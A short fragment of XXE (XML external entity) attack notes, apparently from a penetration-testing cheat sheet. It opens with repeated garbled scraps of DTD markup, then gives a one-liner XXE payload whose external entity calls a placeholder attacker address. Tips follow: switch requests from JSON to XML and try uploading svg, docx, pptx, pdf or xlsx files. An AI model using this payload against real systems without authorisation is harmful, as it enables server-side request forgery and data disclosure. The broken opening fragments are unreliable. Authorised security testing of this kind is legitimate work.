]>
&sp;
">
]>
&sp;
">
]>
&sp;
">
1 liner payload : <!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY sp SYSTEM "https://{your-address}/">]><r>&sp;</r>
Change the content type from json to xml
See if you can upload svg, docx, pptx, pdf, xlsx